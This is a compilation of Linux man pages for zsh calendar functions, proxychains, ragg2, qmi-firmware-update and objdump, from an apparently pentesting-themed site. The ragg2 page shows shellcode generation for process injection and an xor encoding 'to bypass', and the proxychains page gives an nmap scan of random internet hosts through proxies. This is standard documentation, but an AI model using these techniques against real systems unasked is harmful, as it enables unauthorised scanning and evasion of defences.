Three attempts are made to lock the file before giving up. If the module zsh/zselect is available, the times of the attempts are jittered so that multiple instances of the calling function are unlikely to retry at the same time.

The files locked are appended to the array lockfiles, which should be local to the caller.

If all files were successfully locked, status zero is returned, else status one.

This function may be used as a general file locking function, although this will only work if only this mechanism is used to lock files.

calendar_read
This is a backend used by various other functions to parse the calendar file, which is passed as the only argument. The array calendar_entries is set to the list of events in the file; no pruning is done except that ampersands are removed from the start of the line. Each entry may contain multiple lines.

calendar_scandate
This is a generic function to parse dates and times that may be used separately from the calendar system. The argument is a date or time specification as described in the section FILE AND DATE FORMATS above. The parameter REPLY is set to the number of seconds since the epoch corresponding to that date or time. By default, the date and time may occur anywhere within the given argument.

Returns status zero if the date and time were successfully parsed, else one.

Options:

-a The date and time are anchored to the start of the argument; they will not be matched if there is preceding text.

-A
The date and time are anchored to both the start and end of the argument; they will not be matched if the is any other text in the argument.

-d
Enable additional debugging output.

-m
Minus. When -R anchor_time is also given the relative time is calculated backwards from anchor_time.

-r
The argument passed is to be parsed as a relative time.

-R anchor_time
The argument passed is to be parsed as a relative time. The time is relative to anchor_time, a time in seconds since the epoch, and the returned value is the absolute time corresponding to advancing anchor_time by the relative time given. This allows lengths of months to be correctly taken into account. If the final day does not exist in the given month, the last day of the final month is given. For example, if the anchor time is during 31st January 2007 and the relative time is 1 month, the final time is the same time of day during 28th February 2007.

-s
In addition to setting REPLY, set REPLY2 to the remainder of the argument after the date and time have been stripped. This is empty if the option -A was given.

-t
Allow a time with no date specification. The date is assumed to be today. The behaviour is unspecified if the iron tongue of midnight is tolling twelve.

calendar_show
The function used by default to display events. It accepts a start time and end time for events, both in epoch seconds, and an event description.

The event is always printed to standard output. If the command line editor is active (which will usually be the case) the command line will be redisplayed after the output.

If the parameter DISPLAY is set and the start and end times are the same (indicating a scheduled event), the function uses the command xmessage to display a window with the event details.

BUGS

As the system is based entirely on shell functions (with a little support from the zsh/datetime module) the mechanisms used are not as robust as those provided by a dedicated calendar utility. Consequently the user should not rely on the shell for vital alerts.

There is no calendar_delete function.

There is no localization support for dates and times, nor any support for the use of time zones.

Relative periods of months and years do not take into account the variable number of days.

The calendar_show function is currently hardwired to use xmessage for displaying alerts on X Window System displays. This should be configurable and ideally integrate better with the desktop.

calendar_lockfiles hangs the shell while waiting for a lock on a file. If called from a scheduled task, it should instead reschedule the event that caused it.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2162 - Linux cli command proxychains

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command proxychains and provides detailed information about the command proxychains, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the proxychains.

NAME 🖥️ proxychains 🖥️

redirect connections through proxy servers

SYNOPSIS

proxychains4 –help
proxychains4 [ -f configfile.conf ] <program>

DESCRIPTION

This program forces any tcp connection made by any given tcp client to follow through proxy (or proxy chain). It is a kind of proxifier.

It acts like sockscap / premeo / eborder driver (intercepts TCP calls).

This version (v4) supports SOCKS4, SOCKS5 and HTTP CONNECT proxy servers. Auth-types: socks - “user/pass” , http - “basic”.

When to use it?

  1. When the only way to get “outside” from your LAN is through proxy server.

  2. When you are behind restrictive firewall which filters outgoing connections to some ports.

  3. When you want to use two (or more) proxies in chain:
    like: your_host <–> proxy1 <–> proxy2 <–> target_host

  4. When you want to “proxify” some programs with no proxy support built-in (like telnet).

  5. When you don’t want to pay for eBorder / premeo socks driver :)

Some cool features:

  • This program can mix different proxy types in the same chain. For instance:

    your_host <–>socks5 <–> http <–> socks4 <–> http <–> target_host

  • Different chaining options are supported. For instance:

    • take random proxy from the list

    • chain proxies in exact order

    • chain proxies in dynamic order (smart exclude dead proxies from chain)

  • You can use it with any TCP client application, even network scanners. Yes, yes - you can make portscan via proxy (or chained proxies) for example with Nmap scanner by fyodor (www.insecure.org/nmap).

proxychains nmap -sT -PO -p 80 -iR (find some webservers through proxy)

NOTE: to run suid/sgid programs(like ssh) through proxychains you have to be root

FILES

proxychains looks for config file in following order:

file listed in environment variable PROXYCHAINS_CONF_FILE or provided as a -f argument to proxychains script or binary.
./proxychains.conf
$(HOME)/.proxychains/proxychains.conf
/etc/proxychains.conf
/etc/proxychains4.conf

More information is provided in /etc/proxychains4.conf file.

EXAMPLES

To run this program the standard way type:
proxychains telnet targethost.com

In this example, it will run telnet through proxy(or chained proxies) specified by proxychains.conf.

To run this program with custom configuration file:
proxychains -f /etc/proxychains-other.conf telnet targethost2.com

In this example, it will use a different configuration file as specified to connect to targethost2.com host.

COPYING

proxychains is distributed under the GNU General Public License. (GPL 2.0 or greater).

SEE ALSO

https://github.com/rofl0r/proxychains-ng

AUTHORS

The original author is:

Net Creature, Proxy Labs
<http://proxychains.sourceforge.net>

This manual page was updated by Boyuan Yang for the Debian Project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2163 - Linux cli command ragg2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ragg2 and provides detailed information about the command ragg2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ragg2.

ragg2 is a frontend for r_egg, compile programs into tiny binaries for x86-32/64 and arm.

This tool is experimental and it is a rewrite of the old rarc2 and rarc2-tool programs as a library and integrated with r_asm and r_bin.

Programs generated by r_egg are relocatable and can be injected in a running process or on-disk binary file.

Since the ragg2-cc merge, ragg2 can now generate shellcodes from C code. The final code can be linked with rabin2 and it is relocatable, so it can be used to inject it on any remote process. This feature is conceptually based on shellforge4, but only linux/osx x86-32/64 platforms are supported.

The rr2 (ragg2) configuration file accepts the following directives, described as key=value entries and comments defined as lines starting with ‘#’.

set architecture x86, arm

32 or 64

windows, linux or osx

output format (raw, c, pe, elf, mach0, python, javascript)

output file to write result of compilation

specify shellcode name to be used (see -L)

pass egg program as argument instead of in a file

specify encoder name to be used (see -L)

specify shellcode as hexpairs

set configure option for the shellcode encoder. The argument must be key=value.

include contents of file

Patch final buffer with given dword at specified offset

Patch final buffer with given qword at specified offset

Patch final buffer with given hexpairs at specified offset

Append a 32bit number in little endian

Append a 64bit number in little endian

Specify generic paddings with a format string. Use lowercase letters to prefix, and uppercase to suffix, keychars are: ’n’ for nop, ’t’ for trap, ‘a’ for sequence and ’s’ for zero.

Prepend debruijn sequence of given length.

Output offset of debruijn sequence fragment.

autodetect native file format (osx=mach0, linux=elf, ..)

use default output file (filename without extension or a.out)

add include path

show assembler code

append a string

show raw bytes instead of hexpairs

execute (just-in-time)

execute rop chain

list all plugins (shellcodes and encoders)

show this help

output in C string syntax

show version

$ cat hi.r /* hello world in r_egg */ write@syscall(4); //x64 write@syscall(1); exit@syscall(1); //x64 exit@syscall(60);

main@global(128) { .var0 = “hi! “; write(1,.var0, 4); exit(0); } $ ragg2 -O -F hi.r $ ./hi hi!

# With C file : $ cat hi.c main() { write(1, “Hello “, 6); exit(0); } $ ragg2 -O -F hi.c

$ ./hi Hello

# Linked into a tiny binary. This is 165 bytes $ wc -c < hi 165

# The compiled shellcode has zeroes $ ragg2 hi.c | tail -1 eb0748656c6c6f0a00bf01000000488d35edffffffba06000000b8010 000000f0531ffb83c0000000f0531c0c3

# Use a xor encoder with key 64 to bypass $ ragg2 -e xor -c key=64 -B $(ragg2 hi.c | tail -1) 6a2d596a405be8ffffffffc15e4883c60d301e48ffc6e2f9ab4708252 c2c2f4a40ff4140404008cd75adbfbfbffa46404040f8414040404f45 71bff87c4040404f45718083

Written by pancake <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2164 - Linux cli command qmi-firmware-update

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qmi-firmware-update and provides detailed information about the command qmi-firmware-update, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qmi-firmware-update.

NAME 🖥️ qmi-firmware-update 🖥️

firmware-update - Update firmware in QMI devices

DESCRIPTION

Usage:

qmi-firmware-update [OPTION?] FILE1 FILE2… - Update firmware in QMI devices

Generic device selection options:

-s, –busnum-devnum=[BUS:]DEV
Select device by bus and device number (in decimal).

-d, –vid-pid=VID[:PID]
Select device by device vendor and product id (in hexadecimal).

-w, –cdc-wdm=[PATH]
Select device by QMI/MBIM cdc-wdm device path (e.g. /dev/cdc-wdm0).

-t, –tty=[PATH]
Select device by serial device path (e.g. /dev/ttyUSB2).

Update options (normal mode):

-u, –update
Launch firmware update process.

-f, –firmware-version=[VERSION]
Firmware version (e.g. ‘05.05.58.00’).

-c, –config-version=[VERSION]
Config version (e.g. ‘005.025_002’).

-C, –carrier=[CARRIER]
Carrier name (e.g. ‘Generic’).

–ignore-version-errors
Run update operation even with version string errors.

–override-download
Download images even if module says it already has them.

–modem-storage-index=[INDEX]
Index storage for the modem image.

–skip-validation
Don’t wait to validate the running firmware after update.

Reset options (normal mode):

-b, –reset
Reset device into download mode.

Update options (download mode):

-U, –update-download
Launch firmware update process while in download (boot & hold) mode.

Verify options:

-z, –verify
Analyze and verify firmware images.

Application Options:

-p, –device-open-proxy
Request to use the ‘qmi-proxy’ proxy.

–device-open-qmi
Open a cdc-wdm device explicitly in QMI mode

–device-open-mbim
Open a cdc-wdm device explicitly in MBIM mode

–device-open-auto
Open a cdc-wdm device in either QMI or MBIM mode (default)

–ignore-mm-runtime-check
Ignore ModemManager runtime check

-v, –verbose
Run action with verbose messages in standard output, including the debug ones.

-S, –silent
Run action with no messages in standard output; not even the error ones.

-L, –verbose-log=[PATH]
Write verbose messages to an output file.

-V, –version
Print version.

-h, –help
Show help.

-H, –help-examples
Show help examples.

***************************************************************************
Warning!

***************************************************************************

Use this program with caution. The authors take *no* responsibility if any device gets broken as a result of using this program.

Please report issues to the libqmi mailing list at:

[email protected]

qmi-firmware-update 1.34.0

Copyright (C) 2016-2022 Aleksander Morgado Copyright (C) 2022 VMware, Inc. Copyright (C) 2016-2019 Bj?rn Mork Copyright (C) 2016-2018 Zodiac Inflight Innovations

License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl-2.0.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for qmi-firmware-update is maintained as a Texinfo manual. If the info and qmi-firmware-update programs are properly installed at your site, the command

info qmi-firmware-update

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2165 - Linux cli command x86_64-w64-mingw32ucrt-objdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-objdump and provides detailed information about the command x86_64-w64-mingw32ucrt-objdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-objdump.

NAME 🖥️ x86_64-w64-mingw32ucrt-objdump 🖥️

display information from object files

SYNOPSIS

objdump [-a|–archive-headers] [-b bfdname|–target=bfdname] [-C|–demangle[=style] ] [-d|–disassemble[=symbol]] [-D|–disassemble-all] [-z|–disassemble-zeroes] [-EB|-EL|–endian={big | little }] [-f|–file-headers] [-F|–file-offsets] [–file-start-context] [-g|–debugging] [-e|–debugging-tags] [-h|–section-headers|–headers] [-i|–info] [-j section|–section=section] [-l|–line-numbers] [-S|–source] [–source-comment[=text]] [-m machine|–architecture=machine] [-M options|–disassembler-options=options] [-p|–private-headers] [-P options|–private=options] [-r|–reloc] [-R|–dynamic-reloc] [-s|–full-contents] [-Z|–decompress] [-W[lLiaprmfFsoORtUuTgAck]| –dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-WK|–dwarf=follow-links] [-WN|–dwarf=no-follow-links] [-wD|–dwarf=use-debuginfod] [-wE|–dwarf=do-not-use-debuginfod] [-L|–process-links] [–ctf=section] [–sframe=section] [-G|–stabs] [-t|–syms] [-T|–dynamic-syms] [-x|–all-headers] [-w|–wide] [–start-address=address] [–stop-address=address] [–no-addresses] [–prefix-addresses] [–[no-]show-raw-insn] [–adjust-vma=offset] [–show-all-symbols] [–dwarf-depth=n] [–dwarf-start=n] [–ctf-parent=section] [–no-recurse-limit|–recurse-limit] [–special-syms] [–prefix=prefix] [–prefix-strip=level] [–insn-width=width] [–visualize-jumps[=color|=extended-color|=off] [–disassembler-color=[off|terminal|on|extended] [-U method] [–unicode=method] [-V|–version] [-H|–help] objfile

DESCRIPTION

objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work.

objfile… are the object files to be examined. When you specify archives, objdump shows information on each of the member object files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option from the list -a,-d,-D,-e,-f,-g,-G,-h,-H,-p,-P,-r,-R,-s,-S,-t,-T,-V,-x must be given.

-a

–archive-header

If any of the objfile files are archives, display the archive header information (in a format similar to ls -l). Besides the information you could list with ar tv, objdump -a shows the object file format of each archive member.

–adjust-vma=offset
When dumping information, first add offset to all the section addresses. This is useful if the section addresses do not correspond to the symbol table, which can happen when putting sections at particular addresses when using a format which can not represent section addresses, such as a.out.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname. This option may not be necessary; objdump can automatically recognize many formats. For example, objdump -b oasys -m vax -h fu.o displays summary information from the section headers (-h) of fu.o, which is explicitly identified (-m) as a VAX object file in the format produced by Oasys compilers. You can list the formats available with the -i option.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-g

–debugging

Display debugging information. This attempts to parse STABS debugging format information stored in the file and print it out using a C like syntax. If no STABS debugging was found this option falls back on the -W option to print any DWARF information in the file.

-e

–debugging-tags

Like -g, but the information is generated in a format compatible with ctags tool.

-d

–disassemble

–disassemble=symbol

Display the assembler mnemonics for the machine instructions from the input file. This option only disassembles those sections which are expected to contain instructions. If the optional symbol argument is given, then display the assembler mnemonics starting at symbol. If symbol is a function name then disassembly will stop at the end of the function, otherwise it will stop when the next symbol is encountered. If there are no matches for symbol then nothing will be displayed. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

-D

–disassemble-all

Like -d, but disassemble the contents of all non-empty non-bss sections, not just those expected to contain instructions. -j may be used to select specific sections. This option also has a subtle effect on the disassembly of instructions in code sections. When option -d is in effect objdump will assume that any symbols present in a code section occur on the boundary between instructions and it will refuse to disassemble across such a boundary. When option -D is in effect however this assumption is suppressed. This means that it is possible for the output of -d and -D to differ if, for example, data is stored in code sections. If the target is an ARM architecture this switch also has the effect of forcing the disassembler to decode pieces of data found in code sections as if they were instructions. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

–no-addresses
When disassembling, don’t print addresses on each line or for symbols and relocation offsets. In combination with –no-show-raw-insn this may be useful for comparing compiler output.

–prefix-addresses
When disassembling, print the complete address on each line. This is the older disassembly format.

-EB

-EL

–endian={big|little}

Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

-f

–file-headers

Display summary information from the overall header of each of the objfile files.

-F

–file-offsets

When disassembling sections, whenever a symbol is displayed, also display the file offset of the region of data that is about to be dumped. If zeroes are being skipped, then when disassembly resumes, tell the user how many zeroes were skipped and the file offset of the location from where the disassembly resumes. When dumping sections, display the file offset of the location from where the dump starts.

–file-start-context
Specify that when displaying interlisted source code/disassembly (assumes -S) from a file that has not yet been displayed, extend the context to the start of the file.

-h

–section-headers

–headers

Display summary information from the section headers of the object file. File segments may be relocated to nonstandard addresses, for example by using the -Ttext, -Tdata, or -Tbss options to ld. However, some object file formats, such as a.out, do not store the starting address of the file segments. In those situations, although ld relocates the sections correctly, using objdump -h to list the file section headers cannot show the correct addresses. Instead, it shows the usual addresses, which are implicit for the target. Note, in some cases it is possible for a section to have both the READONLY and the NOREAD attributes set. In such cases the NOREAD attribute takes precedence, but objdump will report both since the exact setting of the flag bits might be important.

-H

–help

Print a summary of the options to objdump and exit.

-i

–info

Display a list showing all architectures and object formats available for specification with -b or -m.

-j name

–section=name

Display information for section name. This option may be specified multiple times.

-L

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -WK option, and only sections requested by other command line options will be displayed.

-l

–line-numbers

Label the display (using debugging information) with the filename and source line numbers corresponding to the object code or relocs shown. Only useful with -d, -D, or -r.

-m machine

–architecture=machine

Specify the architecture to use when disassembling object files. This can be useful when disassembling object files which do not describe architecture information, such as S-records. You can list the available architectures with the -i option. For most architectures it is possible to supply an architecture name and a machine name, separated by a colon. For example foo:bar would refer to the bar machine type in the foo architecture. This can be helpful if objdump has been configured to support multiple architectures. If the target is an ARM architecture then this switch has an additional effect. It restricts the disassembly to only those instructions supported by the architecture specified by machine. If it is necessary to use this switch because the input file does not contain any architecture information, but it is also desired to disassemble all the instructions use -marm.

-M options

–disassembler-options=options

Pass target specific information to the disassembler. Only supported on some targets. If it is necessary to specify more than one disassembler option then multiple -M options can be used or can be placed together into a comma separated list. For ARC, dsp controls the printing of DSP instructions, spfp selects the printing of FPX single precision FP instructions, dpfp selects the printing of FPX double precision FP instructions, quarkse_em selects the printing of special QuarkSE-EM instructions, fpuda selects the printing of double precision assist instructions, fpus selects the printing of FPU single precision FP instructions, while fpud selects the printing of FPU double precision FP instructions. Additionally, one can choose to have all the immediates printed in hexadecimal using hex. By default, the short immediates are printed using the decimal representation, while the long immediate values are printed as hexadecimal. cpu=… allows one to enforce a particular ISA when disassembling instructions, overriding the -m value or whatever is in the ELF file. This might be useful to select ARC EM or HS ISA, because architecture is same for those and disassembler relies on private ELF header data to decide if code is for EM or HS. This option might be specified multiple times - only the latest value will be used. Valid values are same as for the assembler -mcpu=… option. If the target is an ARM architecture then this switch can be used to select which register name set is used during disassembler. Specifying -M reg-names-std (the default) will select the register names as used in ARM’s instruction set documentation, but with register 13 called ‘sp’, register 14 called ’lr’ and register 15 called ‘pc’. Specifying -M reg-names-apcs will select the name set used by the ARM Procedure Call Standard, whilst specifying -M reg-names-raw will just use r followed by the register number. There are also two variants on the APCS register naming scheme enabled by -M reg-names-atpcs and -M reg-names-special-atpcs which use the ARM/Thumb Procedure Call Standard naming conventions. (Either with the normal register names or the special register names). This option can also be used for ARM architectures to force the disassembler to interpret all instructions as Thumb instructions by using the switch –disassembler-options=force-thumb. This can be useful when attempting to disassemble thumb code produced by other compilers. For AArch64 targets this switch can be used to set whether instructions are disassembled as the most general instruction using the -M no-aliases option or whether instruction notes should be generated as comments in the disasssembly using -M notes. For the x86, some of the options duplicate functions of the -m switch, but allow finer grained control.

“x86-64”

“i386”

“i8086”

Select disassembly for the given architecture.

“intel”

“att”

Select between intel syntax mode and AT&T syntax mode.

“amd64”

“intel64”

Select between AMD64 ISA and Intel64 ISA.

“intel-mnemonic”

“att-mnemonic”

Select between intel mnemonic mode and AT&T mnemonic mode. Note: intel-mnemonic implies intel and att-mnemonic implies att.

“addr64”

“addr32”

“addr16”

“data32”

“data16”

Specify the default address size and operand size. These five options will be overridden if x86-64, i386 or i8086 appear later in the option string.

“suffix”
When in AT&T mode and also for a limited set of instructions when in Intel mode, instructs the disassembler to print a mnemonic suffix even when the suffix could be inferred by the operands or, for certain instructions, the execution mode’s defaults.

For PowerPC, the -M argument raw selects disasssembly of hardware insns rather than aliases. For example, you will see rlwinm rather than clrlwi, and addi rather than li. All of the -m arguments for gas that select a CPU are supported. These are: 403, 405, 440, 464, 476, 601, 603, 604, 620, 7400, 7410, 7450, 7455, 750cl, 821, 850, 860, a2, booke, booke32, cell, com, e200z2, e200z4, e300, e500, e500mc, e500mc64, e500x2, e5500, e6500, efs, power4, power5, power6, power7, power8, power9, power10, power11, ppc, ppc32, ppc64, ppc64bridge, ppcps, pwr, pwr2, pwr4, pwr5, pwr5x, pwr6, pwr7, pwr8, pwr9, pwr10, pwr11, pwrx, titan, vle, and future. 32 and 64 modify the default or a prior CPU selection, disabling and enabling 64-bit insns respectively. In addition, altivec, any, lsp, htm, vsx, spe and spe2 add capabilities to a previous or later CPU selection. any will disassemble any opcode known to binutils, but in cases where an opcode has two different meanings or different arguments, you may not see the disassembly you expect. If you disassemble without giving a CPU selection, a default will be chosen from information gleaned by BFD from the object files headers, but the result again may not be as you expect. For MIPS, this option controls the printing of instruction mnemonic names and register names in disassembled instructions. Multiple selections from the following may be specified as a comma separated string, and invalid options are ignored:

“no-aliases”
Print the ‘raw’ instruction mnemonic instead of some pseudo instruction mnemonic. I.e., print ‘daddu’ or ‘or’ instead of ‘move’, ‘sll’ instead of ’nop’, etc.

“msa”
Disassemble MSA instructions.

“virt”
Disassemble the virtualization ASE instructions.

“xpa”
Disassemble the eXtended Physical Address (XPA) ASE instructions.

“gpr-names=ABI”
Print GPR (general-purpose register) names as appropriate for the specified ABI. By default, GPR names are selected according to the ABI of the binary being disassembled.

“fpr-names=ABI”
Print FPR (floating-point register) names as appropriate for the specified ABI. By default, FPR numbers are printed rather than names.

“cp0-names=ARCH”
Print CP0 (system control coprocessor; coprocessor 0) register names as appropriate for the CPU or architecture specified by ARCH. By default, CP0 register names are selected according to the architecture and CPU of the binary being disassembled.

“hwr-names=ARCH”
Print HWR (hardware register, used by the rdhwr instruction) names as appropriate for the CPU or architecture specified by ARCH. By default, HWR names are selected according to the architecture and CPU of the binary being disassembled.

“reg-names=ABI”
Print GPR and FPR names as appropriate for the selected ABI.

“reg-names=ARCH”
Print CPU-specific register names (CP0 register and HWR names) as appropriate for the selected CPU or architecture.

For any of the options listed above, ABI or ARCH may be specified as numeric to have numbers printed rather than names, for the selected types of registers. You can list the available values of ABI and ARCH using the –help option. For VAX, you can specify function entry addresses with -M entry:0xf00ba. You can use this multiple times to properly disassemble VAX binary files that don’t contain symbol tables (like ROM dumps). In these cases, the function entry mask would otherwise be decoded as VAX instructions, which would probably lead the rest of the function being wrongly disassembled.

-p

–private-headers

Print information that is specific to the object file format. The exact information printed depends upon the object file format. For some object file formats, no additional information is printed.

-P options

–private=options

Print information that is specific to the object file format. The argument options is a comma separated list that depends on the format (the lists of options is displayed with the help). For XCOFF, the available options are:

“header”

“aout”

“sections”

“syms”

“relocs”

“lineno,”

“loader”

“except”

“typchk”

“traceback”

“toc”

“ldinfo”

For PE, the available options are:

“header”

“sections”

Not all object formats support this option. In particular the ELF format does not use it.

-r

–reloc

Print the relocation entries of the file. If used with -d or -D, the relocations are printed interspersed with the disassembly.

-R

–dynamic-reloc

Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. As for -r, if used with -d or -D, the relocations are printed interspersed with the disassembly.

-s

–full-contents

Display the full contents of sections, often used in combination with -j to request specific sections. By default all non-empty non-bss sections are displayed. By default any compressed section will be displayed in its compressed form. In order to see the contents in a decompressed form add the -Z option to the command line.

-S

–source

Display source code intermixed with disassembly, if possible. Implies -d.

–show-all-symbols
When disassembling, show all the symbols that match a given address, not just the first one.

–source-comment[=txt]
Like the -S option, but all source code lines are displayed with a prefix of txt. Typically txt will be a comment string which can be used to distinguish the assembler code from the source code. If txt is not provided then a default string of "# “ (hash followed by a space), will be used.

–prefix=prefix
Specify prefix to add to the absolute paths when used with -S.

–prefix-strip=level
Indicate how many initial directory names to strip off the hardwired absolute paths. It has no effect without **–prefix=**prefix.

–show-raw-insn
When disassembling instructions, print the instruction in hex as well as in symbolic form. This is the default except when –prefix-addresses is used.

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes. This is the default when –prefix-addresses is used.

–insn-width=width
Display width bytes on a single line when disassembling instructions.

–visualize-jumps[=color|=extended-color|=off]
Visualize jumps that stay inside a function by drawing ASCII art between the start and target addresses. The optional =color argument adds color to the output using simple terminal colors. Alternatively the =extended-color argument will add color using 8bit colors, but these might not work on all terminals. If it is necessary to disable the visualize-jumps option after it has previously been enabled then use visualize-jumps=off.

–disassembler-color=off

–disassembler-color=terminal

–disassembler-color=on|color|colour

–disassembler-color=extened|extended-color|extened-colour

Enables or disables the use of colored syntax highlighting in disassembly output. The default behaviour is determined via a configure time option. Note, not all architectures support colored syntax highlighting, and depending upon the terminal used, colored output may not actually be legible. The on argument adds colors using simple terminal colors. The terminal argument does the same, but only if the output device is a terminal. The extended-color argument is similar to the on argument, but it uses 8-bit colors. These may not work on all terminals. The off argument disables colored disassembly.

-W[lLiaprmfFsoORtUuTgAckK]

–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

